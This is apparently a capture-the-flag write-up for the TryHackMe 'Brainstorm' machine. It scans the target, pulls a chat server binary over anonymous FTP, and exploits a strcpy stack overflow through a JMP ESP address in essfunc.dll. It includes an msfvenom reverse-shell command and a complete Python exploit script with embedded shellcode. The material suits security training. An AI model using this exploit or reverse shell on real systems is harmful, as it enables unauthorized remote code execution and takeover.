Let's start by scanning the target. Even without the information, we would see by doing a normal scan that the target doesn't answer to ICMP packets. This is because nmap checks by default if the host is up before scanning ports, sending ICMP packets. We can specify the option -Pn to assume the host is up and prevent nmap from checking if the target is up.
$ sudo nmap -Pn -sS -sC -sV -O --min-rate=2000 -p- 10.10.82.163
Starting Nmap 7.93 ( https://nmap.org ) at 2025-08-01 22:39 CEST
Stats: 0:01:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 97.96% done; ETC: 22:40 (0:00:01 remaining)
Nmap scan report for 10.10.82.163
Host is up (0.033s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
3389/tcp open ssl/ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: BRAINSTORM
| NetBIOS_Domain_Name: BRAINSTORM
| NetBIOS_Computer_Name: BRAINSTORM
| DNS_Domain_Name: brainstorm
| DNS_Computer_Name: brainstorm
| Product_Version: 6.1.7601
|_ System_Time: 2025-08-01T20:42:53+00:00
|_ssl-date: 2025-08-01T20:43:23+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2025-07-31T19:58:54
|_Not valid after: 2026-01-30T19:58:54
9999/tcp open abyss?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
| Welcome to Brainstorm chat (beta)
|_ Please enter your username (max 20 characters): Write a message:Port 21 is open (FTP), 3389 (RDP), as well as 9999, which is lied to abyss service according to nmap, but it may be wrong since it's not much of a standard port. According to our scan, the target is a Microsoft Windows Server. Anonymous login is allowed through FTP.
$ ftp 10.10.53.252
Connected to 10.10.53.252.
220 Microsoft FTP Service
Name (10.10.53.252:tintin): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> passive
ftp> binary
ftp> cd chatserver
ftp> get chatserver.exe
ftp> get essfunc.dllWe found 2 binaries. Let's get them. We need to set the transfer mode to "binary" to retrieve the exact binaries. We checking them and opening them in IDA, chatserver.exe is the binary managing the chat server, listening on port 9999 by default. The binary is a simple TCP server. We can connect to it using netcat: $ nc IP_ADDR 9999. Since we got the binary, we can run it from a Windows VM inside x32dbg to be able to analyse it more easily.
From IDA, we see that, after sending our name, messages sent will be passed to a function called Overflow(). This function will copy our message to a local variable using strcpy(). strcpy() detects the end of a string with \x00. Then, we theoretically don't have a limit for the message that will be copied, since there's no \x00 inside.
public _Overflow
_Overflow proc near
Destination= dword ptr -7E8h
Source= dword ptr -7E4h
var_7D8= byte ptr -7D8h
arg_0= dword ptr 8
push ebp
mov ebp, esp
sub esp, 2024
mov eax, [ebp+8]
mov [esp+4], eax ; Source
lea eax, [ebp-2008]
mov [esp], eax ; Destination
call _strcpy
leave
retn
_Overflow endp
Our message is copied to a local byte array. The start of it is defined as [ebp-2008]. We are then able to overide what's come next, that is to say elements places onto the stack during the function prologue, especially the return address.
Since we wouldn't know the addresses of the stack on the real machine, we cannot directly specify an address in the stack where we would have placed our code. A way to execute a payload is to replace the return address by the address of a JMP ESP. Since ASLR is not enabled, we need to find the address of a JMP ESP. Then, we could place our payload with the right offset so it starts at ESP after the return of Overflow function.
This instruction can be found at offset 0x14DF in essfunc.dll, with the image base (specified in optional header) being 0x62500000
.text:625014DF jmp esp
Then our payload could look like this, to redirect EIP to the instruction above.
We need to specify the address in little endian.
We can then add our payload, adding a NOP sled.
A NOP sled is a sequence of "No Operation" instructions (\x90) placed before an attacker's shellcode in a buffer overflow exploit. The purpose of this sled is to create a large area of executable memory. Since the exact memory address of the shellcode can be unpredictable, the attacker can overflow the buffer to overwrite the return address with a location somewhere within the NOP sled instead of the shellcode itself. The processor will then "slide" through the NOP instructions until it reaches and executes the shellcode, making the exploit more reliable against minor shifts in memory addresses.
We can then generate a shellcode using metasploit framework:
$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -b "\x00" -f python --var-name shellcodeDon't forget to change the LHOST and LPORT according to you. For the challenge, your IP need to be the one of the TryHackMe VPN.
We can add the shellcode to our payload, set a netcat listener ($ nc lvnp 4444), and run the script.
Here's the final script:
import socket, sys
address = "10.10.250.176"
port = 9999
name = b"\x74\x69\x6e\x74\x69\x6e\x0d\x0a" # tintin
shellcode = b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" # NOP sled
shellcode += b"\xbf\x8e\x59\x7a\xd4\xda\xd3\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x52\x83\xc6\x04\x31\x7e\x0e"
shellcode += b"\x03\xf0\x57\x98\x21\xf0\x80\xde\xca\x08\x51"
shellcode += b"\xbf\x43\xed\x60\xff\x30\x66\xd2\xcf\x33\x2a"
shellcode += b"\xdf\xa4\x16\xde\x54\xc8\xbe\xd1\xdd\x67\x99"
shellcode += b"\xdc\xde\xd4\xd9\x7f\x5d\x27\x0e\x5f\x5c\xe8"
shellcode += b"\x43\x9e\x99\x15\xa9\xf2\x72\x51\x1c\xe2\xf7"
shellcode += b"\x2f\x9d\x89\x44\xa1\xa5\x6e\x1c\xc0\x84\x21"
shellcode += b"\x16\x9b\x06\xc0\xfb\x97\x0e\xda\x18\x9d\xd9"
shellcode += b"\x51\xea\x69\xd8\xb3\x22\x91\x77\xfa\x8a\x60"
shellcode += b"\x89\x3b\x2c\x9b\xfc\x35\x4e\x26\x07\x82\x2c"
shellcode += b"\xfc\x82\x10\x96\x77\x34\xfc\x26\x5b\xa3\x77"
shellcode += b"\x24\x10\xa7\xdf\x29\xa7\x64\x54\x55\x2c\x8b"
shellcode += b"\xba\xdf\x76\xa8\x1e\xbb\x2d\xd1\x07\x61\x83"
shellcode += b"\xee\x57\xca\x7c\x4b\x1c\xe7\x69\xe6\x7f\x60"
shellcode += b"\x5d\xcb\x7f\x70\xc9\x5c\x0c\x42\x56\xf7\x9a"
shellcode += b"\xee\x1f\xd1\x5d\x10\x0a\xa5\xf1\xef\xb5\xd6"
shellcode += b"\xd8\x2b\xe1\x86\x72\x9d\x8a\x4c\x82\x22\x5f"
shellcode += b"\xc2\xd2\x8c\x30\xa3\x82\x6c\xe1\x4b\xc8\x62"
shellcode += b"\xde\x6c\xf3\xa8\x77\x06\x0e\x3b\x72\xc2\x46"
shellcode += b"\x6f\xea\xee\x66\x9e\xb7\x67\x80\xca\x57\x2e"
shellcode += b"\x1b\x63\xc1\x6b\xd7\x12\x0e\xa6\x92\x15\x84"
shellcode += b"\x45\x63\xdb\x6d\x23\x77\x8c\x9d\x7e\x25\x1b"
shellcode += b"\xa1\x54\x41\xc7\x30\x33\x91\x8e\x28\xec\xc6"
shellcode += b"\xc7\x9f\xe5\x82\xf5\x86\x5f\xb0\x07\x5e\xa7"
shellcode += b"\x70\xdc\xa3\x26\x79\x91\x98\x0c\x69\x6f\x20"
shellcode += b"\x09\xdd\x3f\x77\xc7\x8b\xf9\x21\xa9\x65\x50"
shellcode += b"\x9d\x63\xe1\x25\xed\xb3\x77\x2a\x38\x42\x97"
shellcode += b"\x9b\x95\x13\xa8\x14\x72\x94\xd1\x48\xe2\x5b"
shellcode += b"\x08\xc9\x12\x16\x10\x78\xbb\xff\xc1\x38\xa6"
shellcode += b"\xff\x3c\x7e\xdf\x83\xb4\xff\x24\x9b\xbd\xfa"
shellcode += b"\x61\x1b\x2e\x77\xf9\xce\x50\x24\xfa\xda"
buffer = b"\x41" * 2008 + b"\x43\x43\x43\x43" + b"\xdf\x14\x50\x62" + shellcode
try:
print("[+] Sending buffer")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((address, port))
s.recv(2048)
s.sendall(name)
print("[+] Name sent")
input("> Press enter to send payload")
s.recv(1024)
s.send(buffer)
print("[+] Buffer sent")
except:
print("[-] Unable to connect")
sys.exit(0)
finally:
s.close()
